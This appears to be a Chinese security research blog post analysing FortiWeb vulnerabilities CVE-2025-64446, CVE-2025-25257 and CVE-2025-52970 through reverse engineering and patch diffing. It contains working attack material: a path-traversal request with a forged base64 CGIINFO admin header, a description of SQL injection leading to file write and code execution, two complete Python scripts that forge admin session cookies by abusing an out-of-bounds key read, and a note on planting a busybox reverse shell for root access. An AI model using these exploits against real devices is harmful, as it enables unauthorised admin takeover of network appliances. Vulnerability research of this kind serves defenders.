2025 年 10 月 7 日,网络安全公司 Defused 在 X 上发布了一篇帖子,其中提到在 FortiWeb 蜜罐上捕获到了一些可疑流量,11 月 14 日,多家安全公司发表文章称攻击者正在利用 FortiWeb 中的一个身份验证绕过漏洞发起攻击,随后 Fortinet 发布了漏洞公告并为此漏洞分配 CVE-2025-64446 编号。本次我们根据有关信息对该漏洞进行复现分析,此外还会提及 FortiWeb 近期出现过的一些漏洞。
CVE-2025-64446 环境准备 根据有关信息,该漏洞在 FortiWeb 8.0.2、7.6.5 等版本中修复,我们选择 FortiWeb 7.6.4 来复现漏洞,环境可以在 这里 获取。
分别导入 7.6.4 和 7.6.5 两个版本的虚拟机镜像,开机后使用 admin/空密码登录到 CLI 终端,第一次登录需要修改管理员的密码,然后执行下面的命令配置网络:
1 2 3 4 5 config system interface edit port1 set mode static set ip x.x.x.x/24 end
访问 443 端口可以看到 Web 登录页面,FortiWeb 默认不提供 root shell,所以我们需要先解决权限问题。
挂载虚拟机硬盘到另外一个 Linux 系统,在硬盘中找到 rootfs.gz 文件,这实际上是一个 xz 压缩包,解压后得到一个 Linux 磁盘镜像,使用 mount 命令即可挂载,其中和 Web 业务有关的程序位于 /migadmin 目录下,通过目录结构推断 Web 服务是由 Apache httpd 启动的,配置文件位于 /migadmin/conf 目录下,而主程序是 /bin/httpsd
将关键文件复制出来即可开始分析,但我们希望能获取到系统的 root 权限,可以方便后续操作。这里有两种思路,一是直接修改 rootfs 磁盘镜像中的内容,然后将它重新压缩,但系统可能会对 rootfs.gz 有完整性检查。分析目录结构发现,etc 目录是没有打包在 rootfs.gz 中的,并且里面包含 vmware-tools,该目录下的脚本与虚拟机暂停、关机、还原状态等有关。
首先将一个静态编译的 busybox 程序放在 etc 目录下,然后修改 vmware-tools 中的 reboot.sh 脚本,在脚本中利用 busybox 生成一个反向 shell (注意完整目录为 /data/etc/busybox),保存这些修改后将硬盘重新挂载回原来的虚拟机并开机,进入系统后点击 vmware 中的暂停虚拟机即可获取 shell 权限。
按以上思路分别获取到 7.6.4 和 7.6.5 版本的文件即可开始分析漏洞。
漏洞分析 该漏洞的 poc 为:
1 2 3 4 5 6 7 POST /api/v2.0/cmd/system/admin%3F/../../../../../cgi-bin/fwbcgi HTTP/1.1 Host: x.x.x.x CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ== Content-Length: 835 Content-Type: application/json {...}
请求有两个关键部分,分别是 URL 中的路径穿越,还有请求头中的 CGIINFO。
Web 服务是由 Apache httpd 启动的,那么我们可以先对比一下新旧版本的配置文件,看看是否有关键的修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 旧版本 <Directory "/migadmin /cgi-bin "> Options +ExecCGI SetHandler cgi-script </Directory > # 新版本 <Directory "/migadmin /cgi-bin "> Options +ExecCGI SetHandler cgi-script <Files "*"> Require all denied </Files > <Files "fwbcgi "> SetEnvIf REDIRECT_STATUS 200 is_internal Require env is_internal </Files > </Directory >
新版本中限制了对 CGI 程序的访问,特别是当访问 fwbcgi 时,需要先检查该请求是否是 Apache httpd 内部重定向的,也就是说无法直接发送 /cgi-bin/fwbcgi 来访问到这个 CGI 程序。对于这一点可通过发包来测试,在旧版本访问 /cgi-bin/fwbcgi 时,服务器响应 500,而新版本响应 403。
既然旧版本中可以直接访问到 fwbcgi,为何还需要发送带有路径穿越的请求呢?注意到在旧版本发包后服务器响应包含这样的内容:
1 { "errcode" : "-20001" , "message" : "The REST API has invalid URL." }
逆向分析 fwbcgi 程序,在 main 函数中首先调用 cgi_init 函数进行初始化,可以看到设置错误代码为 -20001 的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 v5 = getenv("REQUEST_URI" ); v6 = cgi_dec_url(v5); v7 = v6; if ( !v6 ){ *(a1 + 5804 ) = -20001 ; message("%s:%d: decode url failed\n" , name[0 ]); cgi_rt_log("cgi.c" , 221 , "_cgi_parse_url" , "decode url failed\n" , v36, v37, name[0 ]); return -1 ; } if ( strncasecmp(v6, "/api/v2.0/" , 0xA uLL) ){ *(a1 + 5804 ) = -20001 ; message("%s:%d: url (%s) not match prefix (%s)\n" , name[0 ]); cgi_rt_log("cgi.c" , 229 , "_cgi_parse_url" , "url (%s) not match prefix (%s)\n" , v7, "/api/v2.0/" , name[0 ]); LABEL_55: free (v7); return -1 ; }
cgi_dec_url 函数对 REQUEST_URI 进行 url 解码,然后代码判断 URL 是否以 /api/v2.0/ 开头,如果不是就会设置错误代码为 -20001。
那么如果请求以 /api/v2.0/,则会触发下面的 Apache httpd 配置:
1 2 3 <Location /api /v2.0 /> SetHandler fwbcgi-handler </Location >
请求先由 httpsd 中的 fwbcgi-handler 处理,这个 Handler 对请求进行鉴权,如果不包含合法的 Cookie 信息就拒绝继续处理。
那么目前的情况是:
想要访问 fwbcgi 中的各项功能,请求就必须以 /api/v2.0/ 开头。
当请求以 /api/v2.0/ 开头时,httpsd 中的 handler 就要执行鉴权流程。
如果我们按 poc 中的格式发送请求:/api/v2.0/cmd/system/admin%3F/../../../../../cgi-bin/fwbcgi,对于 httpsd 来说,它在执行规则匹配之前,需要先规范化处理请求中的 URL。../ 路径穿越字符会被折叠,最终用于匹配的 URL 就变成了 /cgi-bin/fwbcgi,httpsd 发现该请求是发往 CGI 程序的,因此就不执行鉴权过程。
而对于 fwbcgi 来说,它获取 URL 时使用的是 REQUEST_URI 环境变量,REQUEST_URI 是请求中未经过规范化处理的 URL。在 cgi_dec_url 函数又会对 URL 进行解码,那么最终 fwbcgi 看到的 URL 就变成了 /api/v2.0/cmd/system/admin?/../../../../../cgi-bin/fwbcgi,相当于请求了 /api/v2.0/cmd/system/admin 接口,这样就可以绕过前面的判断逻辑。
通过路径判断之后,fwbcgi 会调用 cgi_auth 函数进行身份认证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 __int64 __fastcall cgi_auth (_QWORD *a1) { char *v2; __int64 v3; __int64 i; const char *v5; const char *string ; const char *v7; unsigned int v8; char *v9; char *v10; char *v11; char *v12; char *v13; char *v14; unsigned int domain_id; char s; __int64 v18; _OWORD v19[32 ]; unsigned __int64 v20; v20 = __readfsqword(0x28 u); memset (v19, 0 , sizeof (v19)); v2 = getenv("HTTP_CGIINFO" ); if ( !v2 ) { message("%s:%d: not include cgi info header\n" , s); return 0xFFFFFFFF LL; } cmDecodeB64(v19, 512LL , v2, 0xFFFFFFFF LL); v3 = json_tokener_parse(v19); v18 = v3; if ( !v3 ) { message("%s:%d: invalid cgi info json\n" , v19); return 0xFFFFFFFF LL; } for ( i = *(json_object_get_object(v3) + 8 ); i; i = *(i + 24 ) ) { v5 = *i; string = json_object_get_string(*(i + 16 )); if ( !strncmp (v5, "username" , 8uLL ) ) { a1[682 ] = strdup(string ); } else if ( !strncmp (v5, "profname" , 8uLL ) ) { a1[683 ] = strdup(string ); } else if ( !strncmp (v5, "vdom" , 4uLL ) ) { a1[684 ] = strdup(string ); } else if ( !strncmp (v5, "loginname" , 9uLL ) ) { a1[685 ] = strdup(string ); } else if ( !strncmp (v5, "session_id" , 0xA uLL) ) { a1[686 ] = strdup(string ); } else if ( !strncmp (v5, "sso_user" , 8uLL ) ) { a1[687 ] = strdup(string ); } } json_object_put(v18); v7 = a1[687 ]; if ( v7 && (v8 = strtol(v7, 0LL , 10 )) != 0 ) { v12 = getenv("REMOTE_ADDR" ); v13 = strdup(v12); v14 = v13; if ( v13 ) { snprintf (v19, 0x200 uLL, "SSO(%s)" , v13); free (v14); } } else { v9 = getenv("REMOTE_ADDR" ); v10 = strdup(v9); v11 = v10; if ( v10 ) { snprintf (v19, 0x200 uLL, "GUI(%s)" , v10); free (v11); } v8 = 0 ; } set_login_context_vsa(a1[685 ], a1[682 ], v19, a1[683 ], v8, 0LL ); domain_id = cmf_shm_find_domain_id(a1[684 ]); cmf_set_cur_domain_id(domain_id); return 0LL ; }
代码获取请求头的 CGIINFO,Base64 解码后以 json 格式解析,从中取得用户名、vdom 等信息,根据这些信息来设置当前用户角色,这一点与 CVE-2024-55591 比较相似。只需要将用户名设置为管理员的 username,就可以获得管理员的角色。
/api/v2.0/cmd/system/admin 是用于添加系统管理员的接口,攻击者利用以上漏洞绕过认证后,使用该接口向系统添加了管理员,然后使用新的管理员权限执行进一步攻击。
CVE-2025-25257 这是一个存在于 FortiWeb Web 管理服务中的未授权 SQL 注入漏洞,漏洞成因非常简单,当访问如 /api/fabric/device/status 等接口时,httpsd 程序调用 get_fabric_user_by_token 函数对请求进行鉴权,函数会获取请求头中的 Authorization 值并拼接到一条 SQL 语句中,尝试从数据库查询 token 对应的用户信息:
1 2 3 4 5 6 7 8 9 10 if ( a1 && *a1 ) { init_ml_db_obj((__int64)v5); v1 = v6(v5); if ( !v1 ) { snprintf (s, 0x400 u, "select id from fabric_user.user_table where token='%s'" , a1); } }
由于拼接 SQL 语句时没有过滤传入的参数,导致了 SQL 注入漏洞。关于这个漏洞的利用方式网上有很多文章介绍,最关键的一点是系统中使用的数据库 mysql 是以 root 权限启动的,这种情况下可以使用 select xx into outfile 语句实现任意文件写。
利用任意文件写向 python 的 site-packages 目录下 添加 .pth 文件 ,或者是向 python 目录下构造一个同名模块,然后利用 cgi-bin 目录下的 ml-draw.py 加载 ,无论使用何种方法,最终都可以实现任意命令执行。
CVE-2025-52970 FortiWeb 的 Web 管理服务由 httpsd 程序启动,httpsd 本质上是 Apache httpd 服务器,并且将使用到的模块都编译到了主程序中。
CVE-2025-52970 是一个身份验证绕过漏洞,根据 FortiGuard 的漏洞公告,一个未经授权的攻击者在掌握某些数据的情况下,可以以系统中的任意用户身份登录,该漏洞的作者也发布了一篇博客 来介绍漏洞的成因。
漏洞分析 当请求某些需要身份认证的接口时,httpsd 会调用到 aps_access_check 函数进行鉴权操作,最终会调用 ApacheCookie_parse 函数解析请求中的 Cookie 数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 __int64 __fastcall ApacheCookie_parse (_QWORD *a1, unsigned __int8 *a2) { v20 = a2; v3 = *a1; v21[1 ] = __readfsqword(0x28 u); v4 = apr_array_make(v3, 1LL , 8LL ); v5 = a2; if ( a2 || (v5 = apr_table_get(a1[31 ], "Cookie" ), (v20 = v5) != 0LL ) ) { if ( *v5 ) { do { v21[0 ] = ap_getword(*a1, &v20, ';' ); if ( !v21[0 ] ) break ; v6 = *__ctype_b_loc(); v7 = v20 + 1 ; if ( (v6[*v20] & 0x2000 ) != 0 ) { do { v8 = v7; v20 = v7++; } while ( (v6[*v8] & 0x2000 ) != 0 ); } v9 = ap_getword(*a1, v21, 61LL ); session_cookie_name = fgt_get_session_cookie_name(a1); if ( strstr (v9, session_cookie_name) ) cookieval_unwrap(v21[0 ]); v13 = ApacheCookie_new(a1, "-name" , v9, 0 , v11, v12, v18); v14 = v13[2 ]; if ( v14 ) *(v14 + 3 ) = 0 ; else v13[2 ] = apr_array_make(*a1, 4LL , 8LL ); while ( *v21[0 ] ) { v15 = ap_getword(*a1, v21, 38LL ); v16 = v15; if ( !v15 ) break ; ap_unescape_url(v15); if ( apr_pstrdup(**v13, v16) ) { v19 = **v13; v18 = apr_array_push(v13[2 ]); *v18 = apr_pstrdup(v19, v16); } } *apr_array_push(v4) = v13; } while ( *v20 ); } } return v4; }
简单分析该函数的逻辑:在 [1] 处,调用 apr_table_get 函数获取请求中的 Cookie 值,在 [2] 处开始的循环中,以分号分割 Cookie 中的各个参数,在 [3] 处判断当前处理的 Cookie 参数名是否包含 APSCOOKIE_FWEB_xxx,这个参数名是通过 fgt_get_session_cookie_name 函数获取的,发送登录请求之后服务器会自动返回此参数名。
当检测到这个特定的参数时,代码调用 cookieval_unwrap 函数做进一步处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 __int64 __fastcall cookieval_unwrap (void *a1) { v29 = __readfsqword(0x28 u); if ( a1 && (n[0 ] = 21 , v1 = strlen (a1) + 1 , v17 = v1, sub_1C6F20(), snprintf (v27, 0x80 uLL, "Era=%%1d&Payload=%%%zd[^&]&AuthHash=%%%zds" , 0x1000 uLL, 0x52 uLL), __isoc23_sscanf(a1, v27, &era, v28, dest) == 3 ) && (src = calloc (v1, 1uLL )) != 0LL ) { if ( era >= 0 && (sub_1C6E60(dest), sub_1C6E60(v28), v2 = strlen (dest), v3 = strlen (v28), v4 = malloc (v3 + 1 ), *&n[1 ] = v3, (ptr = v4) != 0LL ) ) { v5 = EVP_ENCODE_CTX_new(); v6 = v5; if ( v5 ) { EVP_DecodeInit(v5); v23 = n[0 ]; if ( EVP_DecodeUpdate(v6, v24, n, dest, v2) < 0 ) goto LABEL_25; v23 -= n[0 ]; if ( EVP_DecodeFinal(v6, &v24[n[0 ]]) < 0 ) goto LABEL_25; n[0 ] += v23; if ( v2 < n[0 ] ) __assert_fail("md_len <= b64_md_len" , "cookie_wrap.c" , 0x15B u, "cookieval_unwrap" ); EVP_DecodeInit(v6); v22 = *&n[1 ]; if ( EVP_DecodeUpdate(v6, ptr, &n[1 ], v28, v3) < 0 ) goto LABEL_25; v22 -= *&n[1 ]; if ( EVP_DecodeFinal(v6, &ptr[*&n[1 ]]) < 0 ) goto LABEL_25; v7 = *&n[1 ] + v22; *&n[1 ] = v7; if ( v3 < v7 ) __assert_fail("des_len <= b64_des_len" , "cookie_wrap.c" , 0x16A u, "cookieval_unwrap" ); v8 = nCfg_debug_zone + 32LL * era + 104256 ; v9 = EVP_sha1(); if ( HMAC(v9, v8, 32LL , ptr, v7) && (v10 = memcmp (v24, v25, n[0 ])) == 0 && (v11 = EVP_CIPHER_CTX_new()) != 0 ) { v22 = v17; v23 = v17; EVP_CIPHER_CTX_reset(v11); v12 = nCfg_debug_zone; s2 = (nCfg_debug_zone + 32LL * era + 104256 ); v13 = EVP_des_ede3_cbc(); EVP_DecryptInit(v11, v13, s2, &stru_19780 + v12); if ( EVP_DecryptUpdate(v11, src, &v22, ptr, n[1 ]) && (v23 -= v22, EVP_DecryptFinal(v11, &src[v22], &v23)) ) { v14 = v22 + v23; v22 = v14; if ( v14 >= v17 ) __assert_fail("cv_unwrapped_len < cv_unwrapped_size" , "cookie_wrap.c" , 0x190 u, "cookieval_unwrap" ); memcpy (a1, src, v14); } else { v10 = -1 ; } EVP_CIPHER_CTX_free(v11); } else { LABEL_25: v10 = -1 ; } EVP_ENCODE_CTX_free(v6); } else { v10 = -1 ; } free (ptr); } else { v10 = -1 ; free (0LL ); } } else { v10 = -1 ; src = 0LL ; free (0LL ); } free (src); return v10; }
这个函数包含一些加解密运算,它将之前获取的 Cookie 参数值按格式分成三个部分,分别是 Era、Payload 和 AuthHash,其中 Era 用于选择密钥,Payload 包含加密后的 session 信息,AuthHash 是整个参数的完整性校验字段。
简要概括这个函数的逻辑:首先代码会调用 sub_1C6F20 函数来初始化密钥参数,这里调用 get_rnd_bytes 函数分别读取两个长度为 32 字节的随机数并保存到指定的内存区域,然后从 Cookie 参数中取出三个关键信息,根据 Era 的值从之前初始化的两个随机数中选择一个用于后续加解密运算,选择密钥之后先调用 HMAC 函数计算 Cookie 校验信息并与传入的 AuthHash 比较,如果不相等就报错返回,否则会使用密钥继续解密 Payload 参数并填充到原来的缓冲区中。
由于 sub_1C6F20 函数仅初始化了两个密钥,正常来说 Era 的值只能是 0 或者 1,但我们看到代码只要求 Era 大于 0,并没有限制它的最大值,所以在后续获取密钥时就会发生越界读取 。
漏洞利用 首先我们要知道 Payload 参数中保存了什么信息,可以先通过调试获得程序中初始化的随机数密钥,然后登录一个本地用户并获得它的 Cookie 信息在本地解密。例如我登录了一个本地用户,得到如下 Cookie 值:
1 APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=2YXHgvrooFRVUuWveoOBzq6M2WT+rhT8OkeaQETjJZ+ExSiMFIlNZt5kSBlc7c0V%0alt85TeAuPhA3Z/4l7V9nss0i/s+OgngmZnxZVolsGOvBl9sD/EBLFA==%0a&AuthHash=DVNMz+2K0YYkHMYLSVX9d4jfIcI=%0a;
Era 等于 0 说明选择了第一个密钥,通过调试知道密钥为:
1 2 3 4 5 0x7f6bc3ccd740: 0x66c791fe8ded03b9 0xcbd379611fefd594 ----> Key 0x7f6bc3ccd750: 0xf544dbb87633c5d3 0x39ce07b0ddb28df3 0x7f6bc3ccd760: 0x0000000000000000 0x0000000000000000 0x7f6bc3ccd770: 0x0000000000000000 0x0000000000000000 0x7f6bc3ccd780: 0x74696e4920656854 0x00726f7463655620 ----> IV
密钥经过 Base64 编码后是:uQPtjf6Rx2aU1e8fYXnTy9PFM3a420T1842y3bAHzjk=,IV 是 The Init Vector,那么可以编写下面的代码来验证完整性:
1 2 3 4 5 6 7 8 9 10 11 12 import hmacimport base64import hashlibif __name__ == "__main__" : key = base64.b64decode(b"uQPtjf6Rx2aU1e8fYXnTy9PFM3a420T1842y3bAHzjk=" ) payload = base64.b64decode(b"2YXHgvrooFRVUuWveoOBzq6M2WT+rhT8OkeaQETjJZ+ExSiMFIlNZt5kSBlc7c0Vlt85TeAuPhA3Z/4l7V9nss0i/s+OgngmZnxZVolsGOvBl9sD/EBLFA==" ) auth_hash = base64.b64decode(b"DVNMz+2K0YYkHMYLSVX9d4jfIcI=" ) cal_hash = hmac.new(key, payload, hashlib.sha1).digest() print (auth_hash, cal_hash) assert auth_hash == cal_hash, "Invalid hash!" print ("Pass!" )
执行这段代码会输出 Pass,证明密钥是正确的。
接下来编写代码解密 Payload 参数:
1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Cipher import DES3from Crypto.Util.Padding import unpadimport base64if __name__ == "__main__" : key = base64.b64decode(b"uQPtjf6Rx2aU1e8fYXnTy9PFM3a420T1842y3bAHzjk=" )[:24 ] iv = b'The Init Vector' [:8 ] payload = base64.b64decode(b"2YXHgvrooFRVUuWveoOBzq6M2WT+rhT8OkeaQETjJZ+ExSiMFIlNZt5kSBlc7c0Vlt85TeAuPhA3Z/4l7V9nss0i/s+OgngmZnxZVolsGOvBl9sD/EBLFA==" ) cipher = DES3.new(key, DES3.MODE_CBC, iv) padded_plaintext = cipher.decrypt(payload) plaintext = unpad(padded_plaintext, DES3.block_size) print (plaintext)
最终得到解密后的 Payload 参数值:1763561123&FVVM00UNLICENSED&admin&342748099&2&admin&prof_admin&root&AbcXXYJMW&0&0\x00
cookieval_unwrap 函数在解密了参数之后返回,在 ApacheCookie_parse 中调用 ApacheCookie_new 函数把解密后的数据新建为一个 Cookie 对象。
最终回到调用者 aps_get_apscookie,它调用 fgt_get_session_cookie_name 函数取得 Cookie 参数名,然后尝试从之前建立的 Cookie 对象中获取这个参数,如果获取成功,就把之前解密的各个参数填充到指定内存区域并返回,后续的鉴权流程都是依靠这些参数进行的。
根据程序逻辑和解密的参数值,可以猜测某些字段的含义:
1 2 3 4 5 6 7 8 9 10 11 1763561123 Cookie 过期时间 FVVM00UNLICENSED 系统序列号 admin 用户名 342748099 未知1 2 登录次数 admin 用户名2 prof_admin 用户角色 root VDOM AbcXXYJMW 未知2 0 未知3 0 未知4
根据以上分析可知:
登录后用户的 Cookie 中包含用户的角色、用户名等关键信息,类似于 Session 信息。
Session 信息的机密性和完整性依赖于程序中初始化的 32 字节随机数密钥。
通过 Era 参数的越界读取,可以强制程序使用一块未初始化内存用作密钥参与计算,通过调试发现原本用于保存密钥的内存附近存在很多 NULL 字节:
1 2 3 4 5 6 7 8 9 10 0x7f6bc3ccd740: 0x66c791fe8ded03b9 0xcbd379611fefd594 ----> 原始密钥 1 0x7f6bc3ccd750: 0xf544dbb87633c5d3 0x39ce07b0ddb28df3 0x7f6bc3ccd760: 0x0000000000000000 0x0000000000000000 ----> 原始密钥 2 0x7f6bc3ccd770: 0x0000000000000000 0x0000000000000000 0x7f6bc3ccd780: 0x74696e4920656854 0x00726f7463655620 ----> IV 0x7f6bc3ccd790: 0x0000001100000000 0x0000000000000000 0x7f6bc3ccd7a0: 0x0000000000000000 0x0000000000000000 ----> 未初始化内存 0x7f6bc3ccd7b0: 0x0000000000000000 0x0000000000000000 0x7f6bc3ccd7c0: 0x0000000000000000 0x0000000000000000 0x7f6bc3ccd7d0: 0x0000000000000000 0x0000000000000000
这样攻击者能够预测用于解密 Cookie 的密钥,例如当设置 Era 等于 3 时,密钥变成了 24 个空字节,此时能够伪造 Payload 和 AuthHash 参数,从而破坏了 AuthHash 的完整性保护。
结合前面的分析,可以编写以下脚本来验证越界读取的影响:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import requestsimport reimport base64import hmacimport hashlibfrom Crypto.Cipher import DES3from Crypto.Cipher import DESURL = "https://127.0.0.1" key = base64.b64decode(b"uQPtjf6Rx2aU1e8fYXnTy9PFM3a420T1842y3bAHzjk=" ) iv = b'The Init Vector' [:8 ] def login (): data = "ajax=1&username=admin&secretkey=admin" res = requests.post(f"{URL} /logincheck" , data=data, verify=False ) cookie = res.headers.get("Set-Cookie" ) payload_match = re.search(r'Payload=([^&;]+)' , cookie) authhash_match = re.search(r'AuthHash=([^&;]+)' , cookie) cookie_match = re.search(r'(APSCOOKIE_FWEB_\d+=.*?)' , cookie) if payload_match and authhash_match and cookie_match: payload = payload_match.group(1 ).replace(r"%0a" , "" ) authhash = authhash_match.group(1 ).replace(r"%0a" , "" ) cookie_name = cookie_match.group(1 ) return payload, authhash, cookie_name else : print ("Login failed" ) exit(0 ) def test_oob (payload, authhash, cookie_name ): print (f"{cookie_name} Era=3&Payload={payload} &AuthHash={authhash} " ) headers = { "User-Agent" : "Mozilla/5.0" , "Connection" : "close" , "Cookie" : f"{cookie_name} Era=3&Payload={payload} &AuthHash={authhash} " } res = requests.get(f"{URL} /api/v2.0/system/state" , verify=False , headers=headers) print (res.text) def check_hmac (payload, authhash ): cal_hash = hmac.new(key, payload, hashlib.sha1).digest() assert authhash == cal_hash, "Invalid hash!" print ("HMAC Pass!" ) def get_hmac (payload ): enc_key = b"\x00" * 32 cal_hash = hmac.new(enc_key, payload, hashlib.sha1).digest() return cal_hash def decrypt_payload (payload ): cipher = DES3.new(key[:24 ], DES3.MODE_CBC, iv) plaintext = cipher.decrypt(payload) return plaintext def encrypt_payload (payload ): enc_key = b"\x00" * 8 cipher = DES.new(enc_key, DES.MODE_CBC, iv) ciphertext = cipher.encrypt(payload) return ciphertext if __name__ == "__main__" : payload, authhash, cookie_name = login() print (f"Original payload: {payload} " ) print (f"Original AuthHash: {authhash} " ) payload_decoded = base64.b64decode(payload.encode()) authhash_decoded = base64.b64decode(authhash.encode()) check_hmac(payload_decoded, authhash_decoded) dec_payload = decrypt_payload(payload_decoded) print (f"Decrypted Payload: {dec_payload} " ) enc_payload = encrypt_payload(dec_payload) new_hmac = get_hmac(enc_payload) new_payload = base64.b64encode(enc_payload).decode() new_authhash = base64.b64encode(new_hmac).decode() print (f"New Payload: {new_payload} " ) print (f"New AuthHash: {new_authhash} " ) test_oob(new_payload, new_authhash, cookie_name)
这段脚本实现的逻辑:
使用正确的用户名和密码登录到 FortiWeb,获取 Cookie 信息。
使用从内存获取的密钥验证 HMAC 完整性并解密 Payload 参数,得到明文 Session 数据。
使用全 0 密钥在本地将 Session 数据重新加密,注意当使用 3 个相同 8 字节密钥执行 3DES 加密时,算法实际上就退化成了 DES。
使用新的 Payload 和 AuthHash 构造 Cookie 数据,同时设置 Era 等于 3,越界读取内存中的密钥。
访问 /api/v2.0/system/state 后台接口来测试漏洞是否利用成功。
在本例中我们使用的是从一个合法 Cookie 中解密得到的 Session 数据来绕过登录,那么当攻击者无法得到合法 Cookie 时,要如何利用该漏洞呢?考虑 Session 中包含的信息,用户名、用户角色、过期时间、VDOM 等信息可以被视为已知,通过测试发现参数 未知1 - 4 理论上不影响鉴权结果,那么攻击者需要知道下面两个关键参数:
系统序列号
系统管理员账户登录次数
其中管理账户登录次数理论上是可以暴力破解的,但系统序列号似乎无法通过常规途径获取,提供随机的序列号会导致验证失败,这似乎也符合漏洞公告中所描述的:in possession of non-public information (pertaining to both the device and to the targeted user)
另外由于我们是伪造 Cookie 信息,所以被伪造的用户在利用漏洞的过程中必须在线才能攻击成功。
下面是一个简单的 poc 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import requestsimport reimport base64import hmacimport hashlibfrom Crypto.Cipher import DESfrom Crypto.Util.Padding import padimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) URL = "https://127.0.0.1" iv = b'The Init Vector' [:8 ] def get_cookiename (): res = requests.get(f"{URL} /ha_redir" , verify=False ) cookie = res.headers.get("Set-Cookie" ) cookie_match = re.search(r'(APSCOOKIE_FWEB_\d+=.*?)' , cookie) if cookie_match: cookie_name = cookie_match.group(1 ) return cookie_name else : print ("No cookiename" ) exit(0 ) def test_oob (payload, authhash, cookie_name ): headers = { "User-Agent" : "Mozilla/5.0" , "Connection" : "close" , "Cookie" : f"{cookie_name} Era=3&Payload={payload} &AuthHash={authhash} " } res = requests.get(f"{URL} /api/v2.0/system/state" , verify=False , headers=headers) if "PRODUCT_NAME" not in res.text: return False return True def get_hmac (payload ): enc_key = b"\x00" * 32 cal_hash = hmac.new(enc_key, payload, hashlib.sha1).digest() return cal_hash def encrypt_payload (payload ): enc_key = b"\x00" * 8 cipher = DES.new(enc_key, DES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(payload, DES.block_size)) return ciphertext if __name__ == "__main__" : cookie_name = get_cookiename() print (f"Cookie name: {cookie_name} " ) expire_time = "3376695600" serial_num = "FVVM00UNLICENSED" username = "admin" role = "prof_admin" vdom = "root" for i in range (0 , 100 ): print (f"Testing {str (i)} " ) payload = f"{expire_time} &{serial_num} &{username} &644972882&{str (i)} &{username} &{role} &{vdom} &AbcXXYJMW&0&0\x00" enc_payload = encrypt_payload(payload.encode()) new_hmac = get_hmac(enc_payload) new_payload = base64.b64encode(enc_payload).decode() new_authhash = base64.b64encode(new_hmac).decode() if test_oob(new_payload, new_authhash, cookie_name): print (payload) print ("Success!" ) break
开发者的疏忽 在漏洞分析部分提到代码会调用 sub_1C6F20 函数初始化随机数作为后续的密钥,并且理论上应该初始化两个随机数。但在 7.6.3 版本中(其它版本未知),该函数仅会调用一次 get_rnd_bytes 来获取一个随机数,而第二个随机数会保持为空,那么无需令 Era 越界,而只需要让 Era 等于 1 即可实现和利用漏洞相同的效果。
公告中提到这个漏洞已经在 7.6.4 版本中修复,让我们来看一下 7.6.4 版本是如何修复这个漏洞的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 __int64 __fastcall cookieval_unwrap (void *a1) { size_t v1; size_t v2; size_t v3; char *v4; __int64 v5; __int64 v6; size_t v7; __int64 v8; __int64 v9; unsigned int v10; __int64 v11; __int64 v12; __int64 v13; size_t v14; void *s2; size_t v17; char *src; char *ptr; signed int v20; _DWORD n[3 ]; size_t v22; size_t v23; _BYTE v24[32 ]; char v25[32 ]; char dest[96 ]; char v27[128 ]; char v28[4104 ]; unsigned __int64 v29; v29 = __readfsqword(0x28 u); if ( a1 && (n[0 ] = 21 , v1 = strlen ((const char *)a1) + 1 , v17 = v1, sub_1C7040(), snprintf (v27, 0x80 uLL, "Era=%%1d&Payload=%%%zd[^&]&AuthHash=%%%zds" , 0x1000 uLL, 0x52 uLL), (unsigned int )__isoc23_sscanf(a1, v27, &v20, v28, dest) == 3 ) && (src = (char *)calloc (v1, 1uLL )) != 0LL ) { if ( (unsigned int )v20 <= 1 && (sub_1C6F80(dest), sub_1C6F80(v28), v2 = strlen (dest), v3 = strlen (v28), v4 = (char *)malloc (v3 + 1 ), *(_QWORD *)&n[1 ] = v3, (ptr = v4) != 0LL ) ) { v5 = EVP_ENCODE_CTX_new(); v6 = v5; if ( v5 ) { EVP_DecodeInit(v5); v23 = n[0 ]; if ( (int )EVP_DecodeUpdate(v6, v24, n, dest, (unsigned int )v2) < 0 ) goto LABEL_25; v23 -= n[0 ]; if 